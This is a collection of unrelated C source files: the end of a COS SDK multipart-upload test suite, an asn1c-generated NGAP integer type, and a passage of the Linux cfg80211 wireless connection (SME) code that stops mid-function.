printf("test_upload_file_from_recover_failed ok\n"); } void test_list_upload_part_with_empty(CuTest *tc) { cos_pool_t *p = NULL; cos_string_t bucket; char *object_name = "cos_test_list_upload_part_with_empty"; cos_string_t object; int is_cname = 0; cos_request_options_t *options = NULL; cos_status_t *s = NULL; cos_table_t *headers = NULL; cos_list_upload_part_params_t *params = NULL; cos_table_t *list_part_resp_headers = NULL; cos_string_t upload_id; cos_list_t complete_part_list; cos_table_t *complete_resp_headers = NULL; char *content_type_for_complete = "video/MP2T"; cos_list_part_content_t *part_content1 = NULL; cos_complete_part_content_t *complete_content1 = NULL; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); cos_str_set(&bucket, TEST_BUCKET_NAME); cos_str_set(&object, object_name); headers = cos_table_make(options->pool, 2); //init mulitipart s = init_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); //list part params = cos_create_list_upload_part_params(p); params->max_ret = 1; cos_list_init(&complete_part_list); s = cos_list_upload_part(options, &bucket, &object, &upload_id, params, &list_part_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertIntEquals(tc, 0, params->truncated); CuAssertStrEquals(tc, NULL, params->next_part_number_marker.data); CuAssertPtrNotNull(tc, list_part_resp_headers); // test for #COS-1161 cos_list_for_each_entry(cos_list_part_content_t, part_content1, &params->part_list, node) { complete_content1 = cos_create_complete_part_content(p); cos_str_set(&complete_content1->part_number, part_content1->part_number.data); cos_str_set(&complete_content1->etag, part_content1->etag.data); cos_list_add_tail(&complete_content1->node, &complete_part_list); } //complete multipart apr_table_add(headers, COS_CONTENT_TYPE, content_type_for_complete); s = cos_complete_multipart_upload(options, &bucket, &object, &upload_id, &complete_part_list, headers, &complete_resp_headers); CuAssertIntEquals(tc, 400, s->code); CuAssertPtrNotNull(tc, complete_resp_headers); delete_test_object(options, TEST_BUCKET_NAME, object_name); cos_pool_destroy(p); printf("test_list_upload_part_with_empty ok\n"); } void test_cos_get_sorted_uploaded_part(CuTest *tc) { cos_pool_t *p = NULL; cos_string_t bucket; char *object_name = "test_cos_get_sorted_uploaded_part"; cos_string_t object; int is_cname = 0; cos_request_options_t *options = NULL; cos_status_t *s = NULL; cos_list_t buffer; cos_table_t *headers = NULL; cos_table_t *upload_part_resp_headers = NULL; cos_string_t upload_id; cos_list_t complete_part_list; cos_table_t *complete_resp_headers = NULL; int part_num = 1; int part_num1 = 2; int part_count = 0; char *content_type_for_complete = "video/MP2T"; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); cos_str_set(&bucket, TEST_BUCKET_NAME); cos_str_set(&object, object_name); //init mulitipart s = init_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); //upload part cos_list_init(&buffer); make_random_body(p, 10, &buffer); s = cos_upload_part_from_buffer(options, &bucket, &object, &upload_id, part_num, &buffer, &upload_part_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, upload_part_resp_headers); cos_list_init(&buffer); make_random_body(p, 10, &buffer); s = cos_upload_part_from_buffer(options, &bucket, &object, &upload_id, part_num1, &buffer, &upload_part_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, upload_part_resp_headers); //get sorted uploaded part cos_list_init(&complete_part_list); s = cos_get_sorted_uploaded_part(options, &bucket, &object, &upload_id, &complete_part_list, &part_count); CuAssertIntEquals(tc, 200, s->code); CuAssertIntEquals(tc, 2, part_count); //complete multipart headers = cos_table_make(options->pool, 1); apr_table_add(headers, COS_CONTENT_TYPE, content_type_for_complete); s = cos_complete_multipart_upload(options, &bucket, &object, &upload_id, &complete_part_list, headers, &complete_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, complete_resp_headers); delete_test_object(options, TEST_BUCKET_NAME, object_name); cos_pool_destroy(p); printf("test_cos_get_sorted_uploaded_part ok\n"); } void test_cos_get_sorted_uploaded_part_with_empty(CuTest *tc) { cos_pool_t *p = NULL; cos_string_t bucket; char *object_name = "test_cos_get_sorted_uploaded_part_with_empty"; cos_string_t object; int is_cname = 0; cos_request_options_t *options = NULL; cos_status_t *s = NULL; cos_string_t upload_id; cos_list_t complete_part_list; int part_count = 0; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); cos_str_set(&bucket, TEST_BUCKET_NAME); cos_str_set(&object, object_name); //init mulitipart s = init_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); //get sorted uploaded part cos_list_init(&complete_part_list); s = cos_get_sorted_uploaded_part(options, &bucket, &object, &upload_id, &complete_part_list, &part_count); CuAssertIntEquals(tc, 200, s->code); CuAssertIntEquals(tc, 0, part_count); //abort multipart s = abort_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); delete_test_object(options, TEST_BUCKET_NAME, object_name); cos_pool_destroy(p); printf("test_cos_get_sorted_uploaded_part_with_empty ok\n"); } CuSuite *test_cos_multipart() { CuSuite* suite = CuSuiteNew(); SUITE_ADD_TEST(suite, test_multipart_setup); SUITE_ADD_TEST(suite, test_init_abort_multipart_upload); SUITE_ADD_TEST(suite, test_list_multipart_upload); SUITE_ADD_TEST(suite, test_multipart_upload); SUITE_ADD_TEST(suite, test_multipart_upload_from_file); SUITE_ADD_TEST(suite, test_upload_file); SUITE_ADD_TEST(suite, test_upload_file_failed_without_uploadid); SUITE_ADD_TEST(suite, test_upload_file_from_recover); SUITE_ADD_TEST(suite, test_upload_file_from_recover_failed); SUITE_ADD_TEST(suite, test_list_upload_part_with_empty); SUITE_ADD_TEST(suite, test_cos_get_sorted_uploaded_part); SUITE_ADD_TEST(suite, test_cos_get_sorted_uploaded_part_with_empty); SUITE_ADD_TEST(suite, test_multipart_cleanup); return suite; }
425539.c
/* * Generated by asn1c-0.9.29 (http://lionet.info/asn1c) * From ASN.1 module "NGAP-IEs" * found in "asn/NGAP-IEs.asn" * `asn1c -fcompound-names -findirect-choice -fno-include-deps -gen-PER -no-gen-OER -no-gen-example -D ngap -pdu=all` */ #include "NGAP_PacketDelayBudget.h" int NGAP_PacketDelayBudget_constraint(const asn_TYPE_descriptor_t *td, const void *sptr, asn_app_constraint_failed_f *ctfailcb, void *app_key) { long value; if(!sptr) { ASN__CTFAIL(app_key, td, sptr, "%s: value not given (%s:%d)", td->name, __FILE__, __LINE__); return -1; } value = *(const long *)sptr; if((value >= 0 && value <= 1023)) { /* Constraint check succeeded */ return 0; } else { ASN__CTFAIL(app_key, td, sptr, "%s: constraint failed (%s:%d)", td->name, __FILE__, __LINE__); return -1; } } /* * This type is implemented using NativeInteger, * so here we adjust the DEF accordingly. */ asn_per_constraints_t asn_PER_type_NGAP_PacketDelayBudget_constr_1 CC_NOTUSED = { { APC_CONSTRAINED | APC_EXTENSIBLE, 10, 10, 0, 1023 } /* (0..1023,...) */, { APC_UNCONSTRAINED, -1, -1, 0, 0 }, 0, 0 /* No PER value map */ }; static const ber_tlv_tag_t asn_DEF_NGAP_PacketDelayBudget_tags_1[] = { (ASN_TAG_CLASS_UNIVERSAL | (2 << 2)) }; asn_TYPE_descriptor_t asn_DEF_NGAP_PacketDelayBudget = { "PacketDelayBudget", "PacketDelayBudget", &asn_OP_NativeInteger, asn_DEF_NGAP_PacketDelayBudget_tags_1, sizeof(asn_DEF_NGAP_PacketDelayBudget_tags_1) /sizeof(asn_DEF_NGAP_PacketDelayBudget_tags_1[0]), /* 1 */ asn_DEF_NGAP_PacketDelayBudget_tags_1, /* Same as above */ sizeof(asn_DEF_NGAP_PacketDelayBudget_tags_1) /sizeof(asn_DEF_NGAP_PacketDelayBudget_tags_1[0]), /* 1 */ { 0, &asn_PER_type_NGAP_PacketDelayBudget_constr_1, NGAP_PacketDelayBudget_constraint }, 0, 0, /* No members */ 0 /* No specifics */ };
997607.c
/* * SME code for cfg80211 * both driver SME event handling and the SME implementation * (for nl80211's connect() and wext) * * Copyright 2009 Johannes Berg <[email protected]> * Copyright (C) 2009 Intel Corporation. All rights reserved. */ #include <linux/etherdevice.h> #include <linux/if_arp.h> #include <linux/slab.h> #include <linux/workqueue.h> #include <linux/wireless.h> #include <linux/export.h> #include <net/iw_handler.h> #include <net/cfg80211.h> #include <net/rtnetlink.h> #include "nl80211.h" #include "reg.h" #include "rdev-ops.h" /* * Software SME in cfg80211, using auth/assoc/deauth calls to the * driver. This is is for implementing nl80211's connect/disconnect * and wireless extensions (if configured.) */ struct cfg80211_conn { struct cfg80211_connect_params params; /* these are sub-states of the _CONNECTING sme_state */ enum { CFG80211_CONN_SCANNING, CFG80211_CONN_SCAN_AGAIN, CFG80211_CONN_AUTHENTICATE_NEXT, CFG80211_CONN_AUTHENTICATING, CFG80211_CONN_AUTH_FAILED, CFG80211_CONN_ASSOCIATE_NEXT, CFG80211_CONN_ASSOCIATING, CFG80211_CONN_ASSOC_FAILED, CFG80211_CONN_DEAUTH, CFG80211_CONN_ABANDON, CFG80211_CONN_CONNECTED, } state; u8 bssid[ETH_ALEN], prev_bssid[ETH_ALEN]; const u8 *ie; size_t ie_len; bool auto_auth, prev_bssid_valid; }; static void cfg80211_sme_free(struct wireless_dev *wdev) { if (!wdev->conn) return; kfree(wdev->conn->ie); kfree(wdev->conn); wdev->conn = NULL; } static int cfg80211_conn_scan(struct wireless_dev *wdev) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); struct cfg80211_scan_request *request; int n_channels, err; ASSERT_RTNL(); ASSERT_WDEV_LOCK(wdev); if (rdev->scan_req || rdev->scan_msg) return -EBUSY; if (wdev->conn->params.channel) n_channels = 1; else n_channels = ieee80211_get_num_supported_channels(wdev->wiphy); request = kzalloc(sizeof(*request) + sizeof(request->ssids[0]) + sizeof(request->channels[0]) * n_channels, GFP_KERNEL); if (!request) return -ENOMEM; if (wdev->conn->params.channel) { enum nl80211_band band = wdev->conn->params.channel->band; struct ieee80211_supported_band *sband = wdev->wiphy->bands[band]; if (!sband) { kfree(request); return -EINVAL; } request->channels[0] = wdev->conn->params.channel; request->rates[band] = (1 << sband->n_bitrates) - 1; } else { int i = 0, j; enum nl80211_band band; struct ieee80211_supported_band *bands; struct ieee80211_channel *channel; for (band = 0; band < NUM_NL80211_BANDS; band++) { bands = wdev->wiphy->bands[band]; if (!bands) continue; for (j = 0; j < bands->n_channels; j++) { channel = &bands->channels[j]; if (channel->flags & IEEE80211_CHAN_DISABLED) continue; request->channels[i++] = channel; } request->rates[band] = (1 << bands->n_bitrates) - 1; } n_channels = i; } request->n_channels = n_channels; request->ssids = (void *)&request->channels[n_channels]; request->n_ssids = 1; memcpy(request->ssids[0].ssid, wdev->conn->params.ssid, wdev->conn->params.ssid_len); request->ssids[0].ssid_len = wdev->conn->params.ssid_len; eth_broadcast_addr(request->bssid); request->wdev = wdev; request->wiphy = &rdev->wiphy; request->scan_start = jiffies; rdev->scan_req = request; err = rdev_scan(rdev, request); if (!err) { wdev->conn->state = CFG80211_CONN_SCANNING; nl80211_send_scan_start(rdev, wdev); dev_hold(wdev->netdev); } else { rdev->scan_req = NULL; kfree(request); } return err; } static int cfg80211_conn_do_work(struct wireless_dev *wdev) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); struct cfg80211_connect_params *params; struct cfg80211_assoc_request req = {}; int err; ASSERT_WDEV_LOCK(wdev); if (!wdev->conn) return 0; params = &wdev->conn->params; switch (wdev->conn->state) { case CFG80211_CONN_SCANNING: /* didn't find it during scan ... */ return -ENOENT; case CFG80211_CONN_SCAN_AGAIN: return cfg80211_conn_scan(wdev); case CFG80211_CONN_AUTHENTICATE_NEXT: if (WARN_ON(!rdev->ops->auth)) return -EOPNOTSUPP; wdev->conn->state = CFG80211_CONN_AUTHENTICATING; return cfg80211_mlme_auth(rdev, wdev->netdev, params->channel, params->auth_type, params->bssid, params->ssid, params->ssid_len, NULL, 0, params->key, params->key_len, params->key_idx, NULL, 0); case CFG80211_CONN_AUTH_FAILED: return -ENOTCONN; case CFG80211_CONN_ASSOCIATE_NEXT: if (WARN_ON(!rdev->ops->assoc)) return -EOPNOTSUPP; wdev->conn->state = CFG80211_CONN_ASSOCIATING; if (wdev->conn->prev_bssid_valid) req.prev_bssid = wdev->conn->prev_bssid; req.ie = params->ie; req.ie_len = params->ie_len; req.use_mfp = params->mfp != NL80211_MFP_NO; req.crypto = params->crypto; req.flags = params->flags; req.ht_capa = params->ht_capa; req.ht_capa_mask = params->ht_capa_mask; req.vht_capa = params->vht_capa; req.vht_capa_mask = params->vht_capa_mask; err = cfg80211_mlme_assoc(rdev, wdev->netdev, params->channel, params->bssid, params->ssid, params->ssid_len, &req); if (err) cfg80211_mlme_deauth(rdev, wdev->netdev, params->bssid, NULL, 0, WLAN_REASON_DEAUTH_LEAVING, false); return err; case CFG80211_CONN_ASSOC_FAILED: cfg80211_mlme_deauth(rdev, wdev->netdev, params->bssid, NULL, 0, WLAN_REASON_DEAUTH_LEAVING, false); return -ENOTCONN; case CFG80211_CONN_DEAUTH: cfg80211_mlme_deauth(rdev, wdev->netdev, params->bssid, NULL, 0, WLAN_REASON_DEAUTH_LEAVING, false); /* fall through */ case CFG80211_CONN_ABANDON: /* free directly, disconnected event already sent */ cfg80211_sme_free(wdev); return 0; default: return 0; } } void cfg80211_conn_work(struct work_struct *work) { struct cfg80211_registered_device *rdev = container_of(work, struct cfg80211_registered_device, conn_work); struct wireless_dev *wdev; u8 bssid_buf[ETH_ALEN], *bssid = NULL; rtnl_lock(); list_for_each_entry(wdev, &rdev->wiphy.wdev_list, list) { if (!wdev->netdev) continue; wdev_lock(wdev); if (!netif_running(wdev->netdev)) { wdev_unlock(wdev); continue; } if (!wdev->conn || wdev->conn->state == CFG80211_CONN_CONNECTED) { wdev_unlock(wdev); continue; } if (wdev->conn->params.bssid) { memcpy(bssid_buf, wdev->conn->params.bssid, ETH_ALEN); bssid = bssid_buf; } if (cfg80211_conn_do_work(wdev)) { __cfg80211_connect_result( wdev->netdev, bssid, NULL, 0, NULL, 0, -1, false, NULL); } wdev_unlock(wdev); } rtnl_unlock(); } /* Returned bss is reference counted and must be cleaned up appropriately. */ static struct cfg80211_bss *cfg80211_get_conn_bss(struct wireless_dev *wdev) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); struct cfg80211_bss *bss; ASSERT_WDEV_LOCK(wdev); bss = cfg80211_get_bss(wdev->wiphy, wdev->conn->params.channel, wdev->conn->params.bssid, wdev->conn->params.ssid, wdev->conn->params.ssid_len, wdev->conn_bss_type, IEEE80211_PRIVACY(wdev->conn->params.privacy)); if (!bss) return NULL; memcpy(wdev->conn->bssid, bss->bssid, ETH_ALEN); wdev->conn->params.bssid = wdev->conn->bssid; wdev->conn->params.channel = bss->channel; wdev->conn->state = CFG80211_CONN_AUTHENTICATE_NEXT; schedule_work(&rdev->conn_work); return bss; } static void __cfg80211_sme_scan_done(struct net_device *dev) { struct wireless_dev *wdev = dev->ieee80211_ptr; struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); struct cfg80211_bss *bss; ASSERT_WDEV_LOCK(wdev); if (!wdev->conn) return; if (wdev->conn->state != CFG80211_CONN_SCANNING && wdev->conn->state != CFG80211_CONN_SCAN_AGAIN) return; bss = cfg80211_get_conn_bss(wdev); if (bss) cfg80211_put_bss(&rdev->wiphy, bss); else schedule_work(&rdev->conn_work); } void cfg80211_sme_scan_done(struct net_device *dev) { struct wireless_dev *wdev = dev->ieee80211_ptr; wdev_lock(wdev); __cfg80211_sme_scan_done(dev); wdev_unlock(wdev); } void cfg80211_sme_rx_auth(struct wireless_dev *wdev, const u8 *buf, size_t len) { struct wiphy *wiphy = wdev->wiphy; struct cfg80211_registered_device *rdev = wiphy_to_rdev(wiphy); struct ieee80211_mgmt *mgmt = (struct ieee80211_mgmt *)buf; u16 status_code = le16_to_cpu(mgmt->u.auth.status_code); ASSERT_WDEV_LOCK(wdev); if (!wdev->conn || wdev->conn->state == CFG80211_CONN_CONNECTED) return; if (status_code == WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG && wdev->conn->auto_auth && wdev->conn->params.auth_type != NL80211_AUTHTYPE_NETWORK_EAP) { /* select automatically between only open, shared, leap */ switch (wdev->conn->params.auth_type) { case NL80211_AUTHTYPE_OPEN_SYSTEM: if (wdev->connect_keys) wdev->conn->params.auth_type = NL80211_AUTHTYPE_SHARED_KEY; else wdev->conn->params.auth_type = NL80211_AUTHTYPE_NETWORK_EAP; break; case NL80211_AUTHTYPE_SHARED_KEY: wdev->conn->params.auth_type = NL80211_AUTHTYPE_NETWORK_EAP; break; default: /* huh? */ wdev->conn->params.auth_type = NL80211_AUTHTYPE_OPEN_SYSTEM; break; } wdev->conn->state = CFG80211_CONN_AUTHENTICATE_NEXT; schedule_work(&rdev->conn_work); } else if (status_code != WLAN_STATUS_SUCCESS) { __cfg80211_connect_result(wdev->netdev, mgmt->bssid, NULL, 0, NULL, 0, status_code, false, NULL); } else if (wdev->conn->state == CFG80211_CONN_AUTHENTICATING) { wdev->conn->state = CFG80211_CONN_ASSOCIATE_NEXT; schedule_work(&rdev->conn_work); } } bool cfg80211_sme_rx_assoc_resp(struct wireless_dev *wdev, u16 status) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); if (!wdev->conn) return false; if (status == WLAN_STATUS_SUCCESS) { wdev->conn->state = CFG80211_CONN_CONNECTED; return false; } if (wdev->conn->prev_bssid_valid) { /* * Some stupid APs don't accept reassoc, so we * need to fall back to trying regular assoc; * return true so no event is sent to userspace. */ wdev->conn->prev_bssid_valid = false; wdev->conn->state = CFG80211_CONN_ASSOCIATE_NEXT; schedule_work(&rdev->conn_work); return true; } wdev->conn->state = CFG80211_CONN_ASSOC_FAILED; schedule_work(&rdev->conn_work); return false; } void cfg80211_sme_deauth(struct wireless_dev *wdev) { cfg80211_sme_free(wdev); } void cfg80211_sme_auth_timeout(struct wireless_dev *wdev) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); if (!wdev->conn) return; wdev->conn->state = CFG80211_CONN_AUTH_FAILED; schedule_work(&rdev->conn_work); } void cfg80211_sme_disassoc(struct wireless_dev *wdev) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); if (!wdev->conn) return; wdev->conn->state = CFG80211_CONN_DEAUTH; schedule_work(&rdev->conn_work); } void cfg80211_sme_assoc_timeout(struct wireless_dev *wdev) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); if (!wdev->conn) return; wdev->conn->state = CFG80211_CONN_ASSOC_FAILED; schedule_work(&rdev->conn_work); } void cfg80211_sme_abandon_assoc(struct wireless_dev *wdev) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); if (!wdev->conn) return; wdev->conn->state = CFG80211_CONN_ABANDON; schedule_work(&rdev->conn_work); } static int cfg80211_sme_get_conn_ies(struct wireless_dev *wdev, const u8 *ies, size_t ies_len, const u8 **out_ies, size_t *out_ies_len) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); u8 *buf; size_t offs; if (!rdev->wiphy.extended_capabilities_len || (ies && cfg80211_find_ie(WLAN_EID_EXT_CAPABILITY, ies, ies_len))) { *out_ies = kmemdup(ies, ies_len, GFP_KERNEL); if (!*out_ies) return -ENOMEM; *out_ies_len = ies_len; return 0; } buf = kmalloc(ies_len + rdev->wiphy.extended_capabilities_len + 2, GFP_KERNEL); if (!buf) return -ENOMEM; if (ies_len) { static const u8 before_extcapa[] = { /* not listing IEs expected to be created by driver */ WLAN_EID_RSN, WLAN_EID_QOS_CAPA, WLAN_EID_RRM_ENABLED_CAPABILITIES, WLAN_EID_MOBILITY_DOMAIN, WLAN_EID_SUPPORTED_REGULATORY_CLASSES, WLAN_EID_BSS_COEX_2040, }; offs = ieee80211_ie_split(ies, ies_len, before_extcapa, ARRAY_SIZE(before_extcapa), 0); memcpy(buf, ies, offs); /* leave a whole for extended capabilities IE */ memcpy(buf + offs + rdev->wiphy.extended_capabilities_len + 2, ies + offs, ies_len - offs); } else { offs = 0; } /* place extended capabilities IE (with only driver capabilities) */ buf[offs] = WLAN_EID_EXT_CAPABILITY; buf[offs + 1] = rdev->wiphy.extended_capabilities_len; memcpy(buf + offs + 2, rdev->wiphy.extended_capabilities, rdev->wiphy.extended_capabilities_len); *out_ies = buf; *out_ies_len = ies_len + rdev->wiphy.extended_capabilities_len + 2; return 0; } static int cfg80211_sme_connect(struct wireless_dev *wdev, struct cfg80211_connect_params *connect, const u8 *prev_bssid) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); struct cfg80211_bss *bss; int err; if (!rdev->ops->auth || !rdev->ops->assoc) return -EOPNOTSUPP; if (wdev->current_bss) { if (!prev_bssid) return -EALREADY; if (prev_bssid && !ether_addr_equal(prev_bssid, wdev->current_bss->pub.bssid)) return -ENOTCONN; cfg80211_unhold_bss(wdev->current_bss); cfg80211_put_bss(wdev->wiphy, &wdev->current_bss->pub); wdev->current_bss = NULL; cfg80211_sme_free(wdev); } if (WARN_ON(wdev->conn)) return -EINPROGRESS; wdev->conn = kzalloc(sizeof(*wdev->conn), GFP_KERNEL); if (!wdev->conn) return -ENOMEM; /* * Copy all parameters, and treat explicitly IEs, BSSID, SSID. */ memcpy(&wdev->conn->params, connect, sizeof(*connect)); if (connect->bssid) { wdev->conn->params.bssid = wdev->conn->bssid; memcpy(wdev->conn->bssid, connect->bssid, ETH_ALEN); } if (cfg80211_sme_get_conn_ies(wdev, connect->ie, connect->ie_len, &wdev->conn->ie, &wdev->conn->params.ie_len)) { kfree(wdev->conn); wdev->conn = NULL; return -ENOMEM; } wdev->conn->params.ie = wdev->conn->ie; if (connect->auth_type == NL80211_AUTHTYPE_AUTOMATIC) { wdev->conn->auto_auth = true; /* start with open system ... should mostly work */ wdev->conn->params.auth_type = NL80211_AUTHTYPE_OPEN_SYSTEM; } else { wdev->conn->auto_auth = false; } wdev->conn->params.ssid = wdev->ssid; wdev->conn->params.ssid_len = wdev->ssid_len; /* see if we have the bss already */ bss = cfg80211_get_conn_bss(wdev); if (prev_bssid) { memcpy(wdev->conn->prev_bssid, prev_bssid, ETH_ALEN); wdev->conn->prev_bssid_valid = true; } /* we're good if we have a matching bss struct */ if (bss) { err = cfg80211_conn_do_work(wdev); cfg80211_put_bss(wdev->wiphy, bss); } else { /* otherwise we'll need to scan for the AP first */ err = cfg80211_conn_scan(wdev); /* * If we can't scan right now, then we need to scan again * after the current scan finished, since the parameters * changed (unless we find a good AP anyway). */ if (err == -EBUSY) { err = 0; wdev->conn->state = CFG80211_CONN_SCAN_AGAIN; } } if (err) cfg80211_sme_free(wdev); return err; } static int cfg80211_sme_disconnect(struct wireless_dev *wdev, u16 reason) { struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); int err; if (!wdev->conn) return 0; if (!rdev->ops->deauth) return -EOPNOTSUPP; if (wdev->conn->state == CFG80211_CONN_SCANNING || wdev->conn->state == CFG80211_CONN_SCAN_AGAIN) { err = 0; goto out; } /* wdev->conn->params.bssid must be set if > SCANNING */ err = cfg80211_mlme_deauth(rdev, wdev->netdev, wdev->conn->params.bssid, NULL, 0, reason, false); out: cfg80211_sme_free(wdev); return err; } /* * code shared for in-device and software SME */ static bool cfg80211_is_all_idle(void) { struct cfg80211_registered_device *rdev; struct wireless_dev *wdev; bool is_all_idle = true; /* * All devices must be idle as otherwise if you are actively * scanning some new beacon hints could be learned and would * count as new regulatory hints. */ list_for_each_entry(rdev, &cfg80211_rdev_list, list) { list_for_each_entry(wdev, &rdev->wiphy.wdev_list, list) { wdev_lock(wdev); if (wdev->conn || wdev->current_bss) is_all_idle = false; wdev_unlock(wdev); } } return is_all_idle; } static void disconnect_work(struct work_struct *work) { rtnl_lock(); if (cfg80211_is_all_idle()) regulatory_hint_disconnect(); rtnl_unlock(); } static DECLARE_WORK(cfg80211_disconnect_work, disconnect_work); /* * API calls for drivers implementing connect/disconnect and * SME event handling */ /* This method must consume bss one way or another */ void __cfg80211_connect_result(struct net_device *dev, const u8 *bssid, const u8 *req_ie, size_t req_ie_len, const u8 *resp_ie, size_t resp_ie_len, int status, bool wextev, struct cfg80211_bss *bss) { struct wireless_dev *wdev = dev->ieee80211_ptr; const u8 *country_ie; #ifdef CONFIG_CFG80211_WEXT union iwreq_data wrqu; #endif ASSERT_WDEV_LOCK(wdev); if (WARN_ON(wdev->iftype != NL80211_IFTYPE_STATION && wdev->iftype != NL80211_IFTYPE_P2P_CLIENT)) { cfg80211_put_bss(wdev->wiphy, bss); return; } nl80211_send_connect_result(wiphy_to_rdev(wdev->wiphy), dev, bssid, req_ie, req_ie_len, resp_ie, resp_ie_len, status, GFP_KERNEL); #ifdef CONFIG_CFG80211_WEXT if (wextev) { if (req_ie && status == WLAN_STATUS_SUCCESS) { memset(&wrqu, 0, sizeof(wrqu)); wrqu.data.length = req_ie_len; wireless_send_event(dev, IWEVASSOCREQIE, &wrqu, req_ie); } if (resp_ie && status == WLAN_STATUS_SUCCESS) { memset(&wrqu, 0, sizeof(wrqu)); wrqu.data.length = resp_ie_len; wireless_send_event(dev, IWEVASSOCRESPIE, &wrqu, resp_ie); } memset(&wrqu, 0, sizeof(wrqu)); wrqu.ap_addr.sa_family = ARPHRD_ETHER; if (bssid && status == WLAN_STATUS_SUCCESS) { memcpy(wrqu.ap_addr.sa_data, bssid, ETH_ALEN); memcpy(wdev->wext.prev_bssid, bssid, ETH_ALEN); wdev->wext.prev_bssid_valid = true; } wireless_send_event(dev, SIOCGIWAP, &wrqu, NULL); } #endif if (!bss && (status == WLAN_STATUS_SUCCESS)) { WARN_ON_ONCE(!wiphy_to_rdev(wdev->wiphy)->ops->connect); bss = cfg80211_get_bss(wdev->wiphy, NULL, bssid, wdev->ssid, wdev->ssid_len, wdev->conn_bss_type, IEEE80211_PRIVACY_ANY); if (bss) cfg80211_hold_bss(bss_from_pub(bss)); } if (wdev->current_bss) { cfg80211_unhold_bss(wdev->current_bss); cfg80211_put_bss(wdev->wiphy, &wdev->current_bss->pub); wdev->current_bss = NULL; } if (status != WLAN_STATUS_SUCCESS) { kzfree(wdev->connect_keys); wdev->connect_keys = NULL; wdev->ssid_len = 0; if (bss) { cfg80211_unhold_bss(bss_from_pub(bss)); cfg80211_put_bss(wdev->wiphy, bss); } cfg80211_sme_free(wdev); return; } if (WARN_ON(!bss)) return; wdev->current_bss = bss_from_pub(bss); if (!(wdev->wiphy->flags & WIPHY_FLAG_HAS_STATIC_WEP)) cfg80211_upload_connect_keys(wdev); rcu_read_lock(); country_ie = ieee80211_bss_get_ie(bss, WLAN_EID_COUNTRY); if (!country_ie) { rcu_read_unlock(); return; } country_ie = kmemdup(country_ie, 2 + country_ie[1], GFP_ATOMIC); rcu_read_unlock(); if (!country_ie) return; /* * ieee80211_bss_get_ie() ensures we can access: * - country_ie + 2, the start of the country ie data, and * - and country_ie[1] which is the IE length */ regulatory_hint_country_ie(wdev->wiphy, bss->channel->band, country_ie + 2, country_ie[1]); kfree(country_ie); } /* Consumes bss object one way or another */ void cfg80211_connect_bss(struct net_device *dev, const u8 *bssid, struct cfg80211_bss *bss, const u8 *req_ie, size_t req_ie_len, const u8 *resp_ie, size_t resp_ie_len, int status, gfp_t gfp) { struct wireless_dev *wdev = dev->ieee80211_ptr; struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); struct cfg80211_event *ev; unsigned long flags; if (bss) { /* Make sure the bss entry provided by the driver is valid. */ struct cfg80211_internal_bss *ibss = bss_from_pub(bss); if (WARN_ON(list_empty(&ibss->list))) { cfg80211_put_bss(wdev->wiphy, bss); return; } } ev = kzalloc(sizeof(*ev) + req_ie_len + resp_ie_len, gfp); if (!ev) { cfg80211_put_bss(wdev->wiphy, bss); return; } ev->type = EVENT_CONNECT_RESULT; if (bssid) memcpy(ev->cr.bssid, bssid, ETH_ALEN); if (req_ie_len) { ev->cr.req_ie = ((u8 *)ev) + sizeof(*ev); ev->cr.req_ie_len = req_ie_len; memcpy((void *)ev->cr.req_ie, req_ie, req_ie_len); } if (resp_ie_len) { ev->cr.resp_ie = ((u8 *)ev) + sizeof(*ev) + req_ie_len; ev->cr.resp_ie_len = resp_ie_len; memcpy((void *)ev->cr.resp_ie, resp_ie, resp_ie_len); } if (bss) cfg80211_hold_bss(bss_from_pub(bss)); ev->cr.bss = bss; ev->cr.status = status; spin_lock_irqsave(&wdev->event_lock, flags); list_add_tail(&ev->list, &wdev->event_list); spin_unlock_irqrestore(&wdev->event_lock, flags); queue_work(cfg80211_wq, &rdev->event_work); } EXPORT_SYMBOL(cfg80211_connect_bss); /* Consumes bss object one way or another */ void __cfg80211_roamed(struct wireless_dev *wdev, struct cfg80211_bss *bss, const u8 *req_ie, size_t req_ie_len, const u8 *resp_ie, size_t resp_ie_len) { #ifdef CONFIG_CFG80211_WEXT union iwreq_data wrqu; #endif ASSERT_WDEV_LOCK(wdev); if (WARN_ON(wdev->iftype != NL80211_IFTYPE_STATION && wdev->iftype != NL80211_IFTYPE_P2P_CLIENT)) goto out; if (WARN_ON(!wdev->current_bss)) goto out; cfg80211_unhold_bss(wdev->current_bss); cfg80211_put_bss(wdev->wiphy, &wdev->current_bss->pub); wdev->current_bss = NULL; cfg80211_hold_bss(bss_from_pub(bss)); wdev->current_bss = bss_from_pub(bss); nl80211_send_roamed(wiphy_to_rdev(wdev->wiphy), wdev->netdev, bss->bssid, req_ie, req_ie_len, resp_ie, 